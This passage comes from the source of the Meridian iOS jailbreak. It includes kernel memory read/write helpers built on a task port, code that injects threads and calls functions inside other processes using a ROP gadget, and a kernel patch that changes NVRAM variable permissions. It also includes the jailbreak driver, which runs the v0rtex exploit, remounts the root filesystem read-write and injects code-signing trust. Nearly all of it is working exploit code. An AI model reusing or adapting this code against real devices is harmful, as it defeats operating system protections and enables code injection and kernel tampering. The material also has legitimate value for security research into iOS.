    uint64_t higher = rk32(kaddr + 4);
    return ((higher << 32) | lower);
}

uint32_t rk32(uint64_t kaddr) {
    kern_return_t err;
    uint32_t val = 0;
    mach_vm_size_t outsize = 0;
    
    kern_return_t mach_vm_write(vm_map_t target_task,
                                mach_vm_address_t address,
                                vm_offset_t data,
                                mach_msg_type_number_t dataCnt);

    err = mach_vm_read_overwrite(tfp0,
                                 (mach_vm_address_t)kaddr,
                                 (mach_vm_size_t)sizeof(uint32_t),
                                 (mach_vm_address_t)&val,
                                 &outsize);
    
    if (err != KERN_SUCCESS) {
        return 0;
    }
    
    if (outsize != sizeof(uint32_t)) {
        return 0;
    }
    
    return val;
}

void wk64(uint64_t kaddr, uint64_t val) {
    uint32_t lower = (uint32_t)(val & 0xffffffff);
    uint32_t higher = (uint32_t)(val >> 32);
    wk32(kaddr, lower);
    wk32(kaddr + 4, higher);
}

void wk32(uint64_t kaddr, uint32_t val) {
    if (tfp0 == MACH_PORT_NULL) {
        return;
    }
    
    kern_return_t err;
    err = mach_vm_write(tfp0,
                        (mach_vm_address_t)kaddr,
                        (vm_offset_t)&val,
                        (mach_msg_type_number_t)sizeof(uint32_t));
    
    if (err != KERN_SUCCESS) {
        return;
    }
}

uint64_t remote_alloc(mach_port_t task_port, uint64_t size) {
    kern_return_t err;
    
    mach_vm_offset_t remote_addr = 0;
    mach_vm_size_t remote_size = (mach_vm_size_t)size;
    err = mach_vm_allocate(task_port, &remote_addr, remote_size, VM_FLAGS_ANYWHERE);
    if (err != KERN_SUCCESS){
        printf("unable to allocate buffer in remote process\n");
        return 0;
    }
    
    return (uint64_t)remote_addr;
}

uint64_t alloc_and_fill_remote_buffer(mach_port_t task_port,
                                      uint64_t local_address,
                                      uint64_t length) {
    kern_return_t err;
    
    uint64_t remote_address = remote_alloc(task_port, length);
    
    err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length);
    if (err != KERN_SUCCESS){
        printf("unable to write to remote memory \n");
        return 0;
    }
    
    return remote_address;
}

void remote_free(mach_port_t task_port, uint64_t base, uint64_t size) {
    kern_return_t err;
    
    err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size);
    if (err !=  KERN_SUCCESS){
        printf("unabble to deallocate remote buffer\n");
        return;
    }
}

void remote_read_overwrite(mach_port_t task_port,
                           uint64_t remote_address,
                           uint64_t local_address,
                           uint64_t length) {
    kern_return_t err;
    
    mach_vm_size_t outsize = 0;
    err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize);
    if (err != KERN_SUCCESS){
        printf("remote read failed\n");
        return;
    }
    
    if (outsize != length){
        printf("remote read was short (expected %llx, got %llx\n", length, outsize);
        return;
    }
}

uint64_t binary_load_address(mach_port_t tp) {
    kern_return_t err;
    mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;
    memory_object_name_t object_name = MACH_PORT_NULL;
    mach_vm_size_t target_first_size = 0x1000;
    mach_vm_address_t target_first_addr = 0x0;
    struct vm_region_basic_info_64 region = {0};
    err = mach_vm_region(tp,
                         &target_first_addr,
                         &target_first_size,
                         VM_REGION_BASIC_INFO_64,
                         (vm_region_info_t)&region,
                         &region_count,
                         &object_name);
    
    if (err != KERN_SUCCESS) {
        printf("failed to get the region\n");
        return -1;
    }
    
    return target_first_addr;
}

uint64_t ktask_self_addr() {
    uint64_t self_proc = find_proc_by_pid(getpid());
    return rk64(self_proc + 0x18);
}

// credits to Jonathan Levin (Morpheus) for this awesome workaround
// http://newosxbook.com/articles/PST2.html
mach_port_t task_for_pid_workaround(int pid) {
    host_t myhost = mach_host_self();
    mach_port_t psDefault;
    mach_port_t psDefault_control;
    
    task_array_t tasks;
    mach_msg_type_number_t numTasks;
    
    kern_return_t kr;
    
    kr = processor_set_default(myhost, &psDefault);
    
    kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
        mach_error("host_processor_set_priv",kr);
        exit(1);
    }
    
    kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr,"processor_set_tasks failed with error %x\n",kr);
        exit(1);
    }
    
    for (int i = 0; i < numTasks; i++) {
        int t_pid;
        pid_for_task(tasks[i], &t_pid);
        if (pid == t_pid) return (tasks[i]);
    }
    
    return MACH_PORT_NULL;
}

// from Ian Beer's find_port.c
uint64_t find_port_address(mach_port_name_t port) {
    uint64_t task_addr = ktask_self_addr();
    uint64_t itk_space = rk64(task_addr + 0x300);
    uint64_t is_table = rk64(itk_space + 0x20);
    
    uint32_t port_index = port >> 8;
    uint64_t port_addr = rk64(is_table + (port_index * 0x18));
    return port_addr;
}

uint64_t find_gadget_candidate(char** alternatives, size_t gadget_length) {
    void* haystack_start = (void*)atoi;    // will do...
    size_t haystack_size = 100*1024*1024; // likewise...
    
    for (char* candidate = *alternatives; candidate != NULL; alternatives++) {
        void* found_at = memmem(haystack_start, haystack_size, candidate, gadget_length);
        if (found_at != NULL) {
            return (uint64_t)found_at;
        }
    }
    
    return 0;
}

uint64_t blr_x19_addr = 0;
uint64_t find_blr_x19_gadget() {
    if (blr_x19_addr != 0) {
        return blr_x19_addr;
    }
    
    char* blr_x19 = "\x60\x02\x3f\xd6";
    char* candidates[] = {blr_x19, NULL};
    blr_x19_addr = find_gadget_candidate(candidates, 4);
    return blr_x19_addr;
}

// no support for non-register args
#define MAX_REMOTE_ARGS 8

// not in iOS SDK headers:
extern void _pthread_set_self(pthread_t p);

uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...) {
    if (n_params > MAX_REMOTE_ARGS || n_params < 0){
        NSLog(@"unsupported number of arguments to remote function (%d)\n", n_params);
        return 0;
    }
    
    kern_return_t err;
    
    uint64_t remote_stack_base = 0;
    uint64_t remote_stack_size = 4*1024*1024;
    
    remote_stack_base = remote_alloc(task_port, remote_stack_size);
    
    uint64_t remote_stack_middle = remote_stack_base + (remote_stack_size/2);
    
    // create a new thread in the target
    // just using the mach thread API doesn't initialize the pthread thread-local-storage
    // which means that stuff which relies on that will crash
    // we can sort-of make that work by calling _pthread_set_self(NULL) in the target process
    // which will give the newly created thread the same TLS region as the main thread
    
    
    _STRUCT_ARM_THREAD_STATE64 thread_state = {0};
    mach_msg_type_number_t thread_stateCnt = sizeof(thread_state)/4;
    
    // we'll start the thread running and call _pthread_set_self first:
    thread_state.__sp = remote_stack_middle;
    thread_state.__pc = (uint64_t)_pthread_set_self;
    
    // set these up to put us into a predictable state we can monitor for:
    uint64_t loop_lr = find_blr_x19_gadget();
    thread_state.__x[19] = loop_lr;
    thread_state.__lr = loop_lr;
    
    // set the argument to NULL:
    thread_state.__x[0] = 0;
    
    mach_port_t thread_port = MACH_PORT_NULL;
    
    err = thread_create_running(task_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt, &thread_port);
    if (err != KERN_SUCCESS){
        NSLog(@"error creating thread in child: %s\n", mach_error_string(err));
        return 0;
    }
    // NSLog(@"new thread running in child: %x\n", thread_port);
    
    // wait for it to hit the loop:
    while(1){
        // monitor the thread until we see it's in the infinite loop indicating it's done:
        err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
        if (err != KERN_SUCCESS){
            NSLog(@"error getting thread state: %s\n", mach_error_string(err));
            return 0;
        }
        
        if (thread_state.__pc == loop_lr && thread_state.__x[19] == loop_lr){
            // thread has returned from the target function
            break;
        }
    }
    
    // the thread should now have pthread local storage
    // pause it:
    
    err = thread_suspend(thread_port);
    if (err != KERN_SUCCESS){
        NSLog(@"unable to suspend target thread\n");
        return 0;
    }
    
    /*
     err = thread_abort(thread_port);
     if (err != KERN_SUCCESS){
     NSLog(@"unable to get thread out of any traps\n");
     return 0;
     }
     */
    
    // set up for the actual target call:
    thread_state.__sp = remote_stack_middle;
    thread_state.__pc = (uint64_t)fptr;
    
    // set these up to put us into a predictable state we can monitor for:
    thread_state.__x[19] = loop_lr;
    thread_state.__lr = loop_lr;
    
    va_list ap;
    va_start(ap, n_params);
    
    arg_desc* args[MAX_REMOTE_ARGS] = {0};
    
    uint64_t remote_buffers[MAX_REMOTE_ARGS] = {0};
    //uint64_t remote_buffer_sizes[MAX_REMOTE_ARGS] = {0};
    
    for (int i = 0; i < n_params; i++){
        arg_desc* arg = va_arg(ap, arg_desc*);
        
        args[i] = arg;
        
        switch(arg->type){
                case ARG_LITERAL:
            {
                thread_state.__x[i] = arg->value;
                break;
            }
                
                case ARG_BUFFER:
                case ARG_BUFFER_PERSISTENT:
                case ARG_INOUT_BUFFER:
            {
                uint64_t remote_buffer = alloc_and_fill_remote_buffer(task_port, arg->value, arg->length);
                remote_buffers[i] = remote_buffer;
                thread_state.__x[i] = remote_buffer;
                break;
            }
                
                case ARG_OUT_BUFFER:
            {
                uint64_t remote_buffer = remote_alloc(task_port, arg->length);
                // NSLog(@"allocated a remote out buffer: %llx\n", remote_buffer);
                remote_buffers[i] = remote_buffer;
                thread_state.__x[i] = remote_buffer;
                break;
            }
                
            default:
            {
                NSLog(@"invalid argument type!\n");
            }
        }
    }
    
    va_end(ap);
    
    err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt);
    if (err != KERN_SUCCESS){
        NSLog(@"error setting new thread state: %s\n", mach_error_string(err));
        return 0;
    }
    // NSLog(@"thread state updated in target: %x\n", thread_port);
    
    err = thread_resume(thread_port);
    if (err != KERN_SUCCESS){
        NSLog(@"unable to resume target thread\n");
        return 0;
    }
    
    while(1){
        // monitor the thread until we see it's in the infinite loop indicating it's done:
        err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
        if (err != KERN_SUCCESS){
            NSLog(@"error getting thread state: %s\n", mach_error_string(err));
            return 0;
        }
        
        if (thread_state.__pc == loop_lr/*&& thread_state.__x[19] == loop_lr*/){
            // thread has returned from the target function
            break;
        }
        
        // thread isn't in the infinite loop yet, let it continue
    }
    
    // deallocate the remote thread
    err = thread_terminate(thread_port);
    if (err != KERN_SUCCESS){
        NSLog(@"failed to terminate thread\n");
        return 0;
    }
    mach_port_deallocate(mach_task_self(), thread_port);
    
    // handle post-call argument cleanup/copying:
    for (int i = 0; i < MAX_REMOTE_ARGS; i++){
        arg_desc* arg = args[i];
        if (arg == NULL){
            break;
        }
        switch (arg->type){
                case ARG_BUFFER:
            {
                remote_free(task_port, remote_buffers[i], arg->length);
                break;
            }
                
                case ARG_INOUT_BUFFER:
                case ARG_OUT_BUFFER:
            {
                // copy the contents back:
                remote_read_overwrite(task_port, remote_buffers[i], arg->value, arg->length);
                remote_free(task_port, remote_buffers[i], arg->length);
                break;
            }
        }
    }
    
    uint64_t ret_val = thread_state.__x[0];
    
    // NSLog(@"remote function call return value: %llx\n", ret_val);
    
    // deallocate the stack in the target:
    remote_free(task_port, remote_stack_base, remote_stack_size);
    
    return ret_val;
}


================================================
FILE: Meridian/Meridian/helpers/main.m
================================================
//
//  main.m
//  Meridian
//
//  Created by Ben Sparkes on 22/12/2017.
//  Copyright © 2017 Ben Sparkes. All rights reserved.
//

#import <UIKit/UIKit.h>
#import "AppDelegate.h"

int main(int argc, char * argv[]) {
    @autoreleasepool {
        return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
    }
}


================================================
FILE: Meridian/Meridian/helpers/nonce.h
================================================
//
//  nonce.h
//  Meridian
//
//  Created by Ben on 29/07/2018.
//

#ifndef nonce_h
#define nonce_h

int set_boot_nonce(const char *gen);
const char *copy_boot_nonce(void);

#endif /* nonce_h */


================================================
FILE: Meridian/Meridian/helpers/nonce.m
================================================
//
//  nonce.m
//  Meridian
//
//  Created by Ben on 29/07/2018.
//

#import <Foundation/Foundation.h>
#include "iokit.h"

#define kIONVRAMDeletePropertyKey       "IONVRAM-DELETE-PROPERTY"
#define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY"
#define kNonceKey                       "com.apple.System.boot-nonce"

CFMutableDictionaryRef makeDict(const char *key, const char *val) {
    CFStringRef cfKey = CFStringCreateWithCStringNoCopy(NULL, key, kCFStringEncodingUTF8, kCFAllocatorNull);
    CFStringRef cfVal = CFStringCreateWithCStringNoCopy(NULL, val, kCFStringEncodingUTF8, kCFAllocatorNull);
    
    CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL,
                                                            0,
                                                            &kCFCopyStringDictionaryKeyCallBacks,
                                                            &kCFTypeDictionaryValueCallBacks);
    if (!cfKey || !dict || !cfVal) {
        return NULL;
    }
    
    CFDictionarySetValue(dict, cfKey, cfVal);
    
    CFRelease(cfKey);
    CFRelease(cfVal);
    return dict;
}

int applyDict(CFMutableDictionaryRef dict) {
    io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
    if (!MACH_PORT_VALID(nvram)) {
        return 1;
    }
    
    kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);
    if (kret != KERN_SUCCESS) {
        return 1;
    }
    
    return 0;
}

int applyToNvram(const char *key, const char *val) {
    CFMutableDictionaryRef dict = makeDict(key, val);
    if (!dict) {
        return 1;
    }
    
    int ret = applyDict(dict);
    
    CFRelease(dict);
    return ret;
}

int set_boot_nonce(const char *gen) {
    int ret = applyToNvram(kIONVRAMDeletePropertyKey, kNonceKey);
    
    // set even if deletion failed
    ret =        applyToNvram(kNonceKey, gen);
    ret = ret || applyToNvram(kIONVRAMForceSyncNowPropertyKey, kNonceKey);
    
    return ret;
}

const char *copy_boot_nonce() {
    uint32_t length = 1024;
    char buf[length];
    
    mach_port_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
    if (!MACH_PORT_VALID(nvram)) {
        return NULL;
    }
    
    kern_return_t err = IORegistryEntryGetProperty(nvram, "com.apple.System.boot-nonce", (void *)buf, &length);
    if (err != KERN_SUCCESS) {
        return NULL;
    }
    
    buf[length] = '\0';
    return strdup(buf);
}


================================================
FILE: Meridian/Meridian/helpers/nvpatch.c
================================================
/*
 * nvpatch.c - Patch kernel to unrestrict NVRAM variables
 *
 * Copyright (c) 2014 Samuel Groß
 * Copyright (c) 2016 Pupyshev Nikita
 * Copyright (c) 2017 Siguza
 */

#include <errno.h>              // errno
#include <stdio.h>              // fprintf, stderr
#include <stdlib.h>             // free, malloc
#include <string.h>             // memmem, strcmp, strnlen
#include <mach/vm_types.h>      // vm_address_t
#include <mach-o/loader.h>

#include "kernel.h"

#define MAX_HEADER_SIZE 0x4000

#define STRING_SEG  "__TEXT"
#define STRING_SEC  "__cstring"
#define OFVAR_SEG   "__DATA"
#define OFVAR_SEC   "__data"

enum
{
    kOFVarTypeBoolean = 1,
    kOFVarTypeNumber,
    kOFVarTypeString,
    kOFVarTypeData,
};

enum
{
    kOFVarPermRootOnly = 0,
    kOFVarPermUserRead,
    kOFVarPermUserWrite,
    kOFVarPermKernelOnly,
};

typedef struct
{
    vm_address_t name;
    uint32_t type;
    uint32_t perm;
    int32_t offset;
} OFVar;

typedef struct
{
    vm_address_t addr;
    vm_size_t len;
    char *buf;
} segment_t;

int nvpatch(const char *target) {
    struct mach_header_64 *hdr = malloc(MAX_HEADER_SIZE);
    if (hdr == NULL) return -1;
    memset(hdr, 0, MAX_HEADER_SIZE);
    
    kread(kernel_base, hdr, MAX_HEADER_SIZE);
    
    segment_t cstring = {
        .addr = 0,
        .len = 0,
        .buf = NULL,
    },
    data = {
        .addr = 0,
        .len = 0,
        .buf = NULL,
    };
    
    for (struct load_command *cmd = (struct load_command *)(hdr + 1),
                             *end = (struct load_command *)((char *)cmd + hdr->sizeofcmds);
         cmd < end;
         cmd = (struct load_command *)((char *)cmd + cmd->cmdsize)) {
        switch (cmd->cmd) {
            case LC_SEGMENT_64:
            {
                struct segment_command_64 *seg = (struct segment_command_64 *)cmd;
                struct section_64 *sec = (struct section_64 *)(seg + 1);
                
                for (size_t i = 0; i < seg->nsects; ++i) {
                    if (strcmp(sec[i].segname, STRING_SEG) == 0 &&
                        strcmp(sec[i].sectname, STRING_SEC) == 0) {
                        cstring.addr = sec[i].addr;
                        cstring.len = sec[i].size;
                        cstring.buf = malloc(cstring.len);
                        
                        kread(cstring.addr, cstring.buf, cstring.len);
                    } else if (strcmp(sec[i].segname, OFVAR_SEG) == 0 &&
                               strcmp(sec[i].sectname, OFVAR_SEC) == 0) {
                        data.addr = sec[i].addr;
                        data.len = sec[i].size;
                        data.buf = malloc(data.len);
                        
                        kread(data.addr, data.buf, data.len);
                    }
                }
            }
                
            default:
                break;
        }
    }
    
    if (cstring.buf == NULL) {
        printf("failed to find %s.%s section \n", STRING_SEG, STRING_SEC);
        return -2;
    }
    
    if (data.buf == NULL) {
        printf("failed to find %s.%s section \n", OFVAR_SEG, OFVAR_SEC);
        return -3;
    }
    
    char first[] = "little-endian?";
    char *str = memmem(cstring.buf, cstring.len, first, sizeof(first));
    if (str == NULL) {
        printf("failed to find string %s \n", first);
        return -4;
    }
    
    vm_address_t str_addr = (str - cstring.buf) + cstring.addr;
    printf("found string %s at %lx \n", first, str_addr);
    
    OFVar *gOFVars = NULL;
    for (vm_address_t *ptr = (vm_address_t *)data.buf,
                      *end = (vm_address_t *)&data.buf[data.len];
         ptr < end;
         ++ptr) {
        if (*ptr == str_addr) {
            gOFVars = (OFVar *)ptr;
            break;
        }
    }
    
    if (gOFVars == NULL) {
        printf("failed to find gOFVariables \n");
        return -5;
    }
    
    vm_address_t gOFAddr = ((char *)gOFVars - data.buf) + data.addr;
    printf("found gOFVariables at %lx \n", gOFAddr);
    
    size_t numvars = 0;
    size_t longest_name = 0;
    
    for (OFVar *var = gOFVars; (char *)var < &data.buf[data.len]; ++var) {
        if (var->name == 0) {
            break;
        }
        
        if (var->name < cstring.addr || var->name >= cstring.addr + cstring.len) {
            printf("gOFVariables[%lu].name is out of bounds \n", numvars);
            return -6;
        }
        
        char *name = &cstring.buf[var->name - cstring.addr];
        size_t maxlen = cstring.len - (name - cstring.buf);
        size_t namelen = strnlen(name, maxlen);
        if (namelen == maxlen) {
            printf("gOFVariables[%lu].name exceeds __cstring size \n", numvars);
            return -7;
        }
        
        for (size_t i = 0; i < namelen; ++i) {
            if (name[i] < 0x20 || name[i] > 0x7f) {
                printf("gOFVariables[%lu].name contains non-printable character: 0x%02x \n", numvars, name[i]);
                return -8;
            }
        }
        
        longest_name = namelen > longest_name ? namelen : longest_name;
        
        switch (var->type) {
            case kOFVarTypeBoolean:
            case kOFVarTypeNumber:
            case kOFVarTypeString:
            case kOFVarTypeData:
                break;
                
            default:
                printf("gOFVariables[%lu] has unknown type: 0x%x \n", numvars, var->type);
                return -9;
        }
        
        switch (var->perm) {
            case kOFVarPermRootOnly:
            case kOFVarPermUserRead:
            case kOFVarPermUserWrite:
            case kOFVarPermKernelOnly:
                break;
                
            default:
                printf("gOFVariables[%lu] has unknown permissions: 0x%x \n", numvars, var->perm);
                return -10;
        }
        
        ++numvars;
    }
    
    if (numvars <= 0) {
        printf("gOFVariables contains zero entries \n");
        return -11;
    }
    
    for (size_t i = 0; i < numvars; ++i) {
        char *name = &cstring.buf[gOFVars[i].name - cstring.addr];
        if (strcmp(name, target) == 0) {
            if (gOFVars[i].perm != kOFVarPermKernelOnly) {
                printf("target var %s is not set as kernel-only \n", target);
                goto done;
            }
            
            vm_size_t off = ((char *)&gOFVars[i].perm) - data.buf;
            uint32_t newperm = kOFVarPermUserWrite;
            kwrite(data.addr + off, &newperm, sizeof(newperm));
            printf("great success for var %s! \n", target);
            goto done;
        }
    }
    printf("failed to find variable %s! \n", target);
    return -13;
    
done:;
    
    free(cstring.buf);
    free(data.buf);
    free(hdr);
    
    return 0;
}



================================================
FILE: Meridian/Meridian/helpers/nvpatch.h
================================================
//
//  nvpatch.h
//  Meridian
//
//  Created by Ben Sparkes on 11/05/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#ifndef nvpatch_h
#define nvpatch_h

int nvpatch(const char *target);

#endif /* nvpatch_h */


================================================
FILE: Meridian/Meridian/helpers/untar.h
================================================
//
//  untar.h
//  Meridian
//
//  Created by Ben Sparkes on 16/02/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#ifndef untar_h
#define untar_h

int untar(FILE *a, const char *path);

#endif /* untar_h */


================================================
FILE: Meridian/Meridian/helpers/untar.m
================================================
/*
 * "untar" is an extremely simple tar extractor:
 *  * A single C source file, so it should be easy to compile
 *    and run on any system with a C compiler.
 *  * Extremely portable standard C.  The only non-ANSI function
 *    used is mkdir().
 *  * Reads basic ustar tar archives.
 *  * Does not require libarchive or any other special library.
 *
 * To compile: cc -o untar untar.c
 *
 * Usage:  untar <archive>
 *
 * In particular, this program should be sufficient to extract the
 * distribution for libarchive, allowing people to bootstrap
 * libarchive on systems that do not already have a tar program.
 *
 * To unpack libarchive-x.y.z.tar.gz:
 *    * gunzip libarchive-x.y.z.tar.gz
 *    * untar libarchive-x.y.z.tar
 *
 * Written by Tim Kientzle, March 2009.
 * Modified by xerub, sometime in 2017.
 *
 * Released into the public domain.
 */

/* These are all highly standard and portable headers. */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

/* This is for mkdir(); this may need to be changed for some platforms. */
#include <sys/stat.h>  /* For mkdir() */

#include <Foundation/Foundation.h>

/* Parse an octal number, ignoring leading and trailing nonsense. */
static int
parseoct(const char *p, size_t n)
{
	int i = 0;

	while (*p < '0' || *p > '7') {
		++p;
		--n;
	}
	while (*p >= '0' && *p <= '7' && n > 0) {
		i *= 8;
		i += *p - '0';
		++p;
		--n;
	}
	return (i);
}

/* Returns true if this is 512 zero bytes. */
static int
is_end_of_archive(const char *p)
{
	int n;
	for (n = 511; n >= 0; --n)
		if (p[n] != '\0')
			return (0);
	return (1);
}

/* Create a directory, including parent directories as necessary. */
static void
create_dir(char *pathname, int mode, int owner, int group)
{
	char *p;
	int r;

	struct stat st;
	r = stat(pathname, &st);
	if (r == 0) {
		return;
	}

	/* Strip trailing '/' */
	if (pathname[strlen(pathname) - 1] == '/')
		pathname[strlen(pathname) - 1] = '\0';

	/* Try creating the directory. */
	r = mkdir(pathname, mode);

	if (r != 0) {
		/* On failure, try creating parent directory. */
		p = strrchr(pathname, '/');
		if (p != NULL) {
			*p = '\0';
			create_dir(pathname, 0755, -1, -1);
			*p = '/';
			r = mkdir(pathname, mode);
		}
	}
	if (r != 0)
		NSLog(@"Could not create directory %s", pathname);
	else if (owner >= 0 && group >= 0)
		chown(pathname, owner, group);
}

/* Create a file, including parent directory as necessary. */
static int
create_file(char *pathname, int mode, int owner, int group)
{
	int f;
	if (unlink(pathname) && errno != ENOENT) {
		return -1;
	}
	f = creat(pathname, mode);
	if (f < 0) {
		/* Try creating parent dir and then creating file. */
		char *p = strrchr(pathname, '/');
		if (p != NULL) {
			*p = '\0';
			create_dir(pathname, 0755, -1, -1);
			*p = '/';
			f = creat(pathname, mode);
		}
	}
	fchown(f, owner, group);
	return (f);
}

/* Verify the tar checksum. */
static int
verify_checksum(const char *p)
{
	int n, u = 0;
	for (n = 0; n < 512; ++n) {
		if (n < 148 || n > 155)
			/* Standard tar checksum adds unsigned bytes. */
			u += ((unsigned char *)p)[n];
		else
			u += 0x20;

	}
	return (u == parseoct(p + 148, 8));
}

/* Extract a tar archive. */
int
untar(FILE *a, const char *path)
{
	char buff[512];
	int f = -1;
	size_t bytes_read;
	int filesize;

	NSLog(@"Extracting from %s", path);
	for (;;) {
		bytes_read = fread(buff, 1, 512, a);
		if (bytes_read < 512) {
			NSLog(@"Short read on %s: expected 512, got %d", path, (int)bytes_read);
			return -1;
		}
		if (is_end_of_archive(buff)) {
			NSLog(@"End of %s", path);
			return 0;
		}
		if (!verify_checksum(buff)) {
			NSLog(@"Checksum failure");
			return -2;
		}
		filesize = parseoct(buff + 124, 12);
		switch (buff[156]) {
		case '1':
			NSLog(@" Ignoring hardlink %s", buff);
			break;
		case '2':
			NSLog(@" Extracting symlink %s -> %s", buff, buff + 157);
			if (unlink(buff) && errno != ENOENT) {
				break;
			}
			symlink(buff + 157, buff);
			break;
		case '3':
			NSLog(@" Ignoring character device %s", buff);
				break;
		case '4':
			NSLog(@" Ignoring block device %s", buff);
			break;
		case '5':
			NSLog(@" Extracting dir %s", buff);
			create_dir(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8));
			filesize = 0;
			break;
		case '6':
			NSLog(@" Ignoring FIFO %s", buff);
			break;
		default:
			NSLog(@" Extracting file %s", buff);
			f = create_file(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8));
			break;
		}
		while (filesize > 0) {
			bytes_read = fread(buff, 1, 512, a);
			if (bytes_read < 512) {
				NSLog(@"Short read on %s: Expected 512, got %zd", path, bytes_read);
				return -3;
			}
			if (filesize < 512)
				bytes_read = filesize;
			if (f >= 0) {
				if (write(f, buff, bytes_read)
				    != bytes_read)
				{
					NSLog(@"Failed write");
					close(f);
					f = -1;
				}
			}
			filesize -= bytes_read;
		}
		if (f >= 0) {
			close(f);
			f = -1;
		}
	}
    
    return 0;
}


================================================
FILE: Meridian/Meridian/jailbreak.h
================================================
//
//  jailbreak.h
//  Meridian
//
//  Created by Ben Sparkes on 16/02/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#ifndef jailbreak_h
#define jailbreak_h

BOOL great_success;

int makeShitHappen(id view);
int runV0rtex(void);
int patchContainermanagerd(void);
int remountRootFs(void);
int extractMeridianData(void);
void setUpSymLinks(void);
int extractBootstrap(int *exitCode);
int defecateAmfi(void);
int launchDropbear(void);
void setUpSubstitute(void);
int startJailbreakd(void);
int loadLaunchDaemons(void);
void enableHiddenApps(void);

#endif /* jailbreak_h */


================================================
FILE: Meridian/Meridian/jailbreak.m
================================================
//
//  jailbreak.m
//  Meridian
//
//  Created by Ben Sparkes on 16/02/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#include "v0rtex.h"
#include "kernel.h"
#include "helpers.h"
#include "root-rw.h"
#include "amfi.h"
#include "offsetfinder.h"
#include "jailbreak.h"
#include "preferences.h"
#include "ViewController.h"
#include "patchfinder64.h"
#include "patchfinders/offsetdump.h"
#include "nvpatch.h"
#include "nonce.h"
#include <mach/mach_types.h>
#include <sys/stat.h>
#import <Foundation/Foundation.h>

NSFileManager *fileMgr;

offsets_t *offsets;

BOOL great_success = FALSE;

int makeShitHappen(ViewController *view) {
    int ret;
    
    fileMgr = [NSFileManager defaultManager];

    // run v0rtex
    [view writeText:@"running v0rtex..."];
    suspend_all_threads();
    ret = runV0rtex();
    resume_all_threads();
    if (ret != 0) {
        [view writeText:@"failed!"];
        if (ret == -420) {
            [view writeTextPlain:@"failed to load offsets!"];
        }
        return 1;
    }
    [view writeTextPlain:@"succeeded! praize siguza!"];
    
    // set up stuff
    init_patchfinder(NULL);
    ret = init_amfi();
    
    if (ret != 0) {
        [view writeTextPlain:@"failed to initialize amfi class!"];
        return 1;
    }
    
    // patch containermanager
    [view writeText:@"patching containermanager..."];
    ret = patchContainermanagerd();
    if (ret != 0) {
        [view writeText:@"failed!"];
        return 1;
    }
    [view writeText:@"done!"];
    
    // remount root fs
    [view writeText:@"remounting rootfs as r/w..."];
    ret = remountRootFs();
    if (ret != 0) {
        [view writeText:@"failed!"];
        return 1;
    }
    [view writeText:@"done!"];
    
    /*      Begin the filesystem fuckery      */
    
    [view writeText:@"some filesytem fuckery..."];
    
    // Remove /meridian in the case of PB's
    if (file_exists("/meridian") == 0 &&
        file_exists("/meridian/.bootstrap") != 0) {
        [fileMgr removeItemAtPath:@"/meridian" error:nil];
    }
    
    if (file_exists("/meridian") != 0) {
        ret = mkdir("/meridian", 0755);
        if (ret != 0) {
            [view writeText:@"failed!"];
            [view writeTextPlain:@"creating /meridian failed with error %d: %s", errno, strerror(errno)];
            return 1;
        }
    }
    
    if (file_exists("/meridian/logs") != 0) {
        ret = mkdir("/meridian/logs", 0755);
        if (ret != 0) {
            [view writeText:@"failed!"];
            [view writeTextPlain:@"creating /meridian/logs failed with error %d: %s", errno, strerror(errno)];
            return 1;
        }
    }
    
    if (file_exists("/meridian/tar") == 0) {
        ret = unlink("/meridian/tar");
        if (ret != 0) {
            [view writeText:@"failed!"];
            [view writeTextPlain:@"removing /meridian/tar failed with error %d: %s", errno, strerror(errno)];
            return 1;
        }
    }
    
    if (file_exists("/meridian/tar.tar") == 0) {
        ret = unlink("/meridian/tar.tar");
        if (ret != 0) {
            [view writeText:@"failed!"];
            [view writeTextPlain:@"deleting /meridian/tar.tar failed with error %d: %s", errno, strerror(errno)];
            return 1;
        }
    }
    
    ret = extract_bundle("tar.tar", "/meridian");
    if (ret != 0) {
        [view writeText:@"failed!"];
        [view writeTextPlain:@"failed to extract tar.tar bundle! ret: %d, errno: %d: %s", ret, errno, strerror(errno)];
        return 1;
    }
    
    if (file_exists("/meridian/tar") != 0) {
        [view writeText:@"failed!"];
        [view writeTextPlain:@"/meridian/tar was not found :("];
        return 1;
    }
    
    ret = chmod("/meridian/tar", 0755);
    if (ret != 0) {
        [view writeText:@"failed!"];
        [view writeTextPlain:@"chmod(755)'ing /meridian/tar failed with error %d: %s", errno, strerror(errno)];
        return 1;
    }
    
    ret = inject_trust("/meridian/tar");
    if (ret != 0) {
        [view writeText:@"failed!"];
        [view writeTextPlain:@"injecting trust to /meridian/tar failed with retcode %d", ret];
        return 1;
    }
    
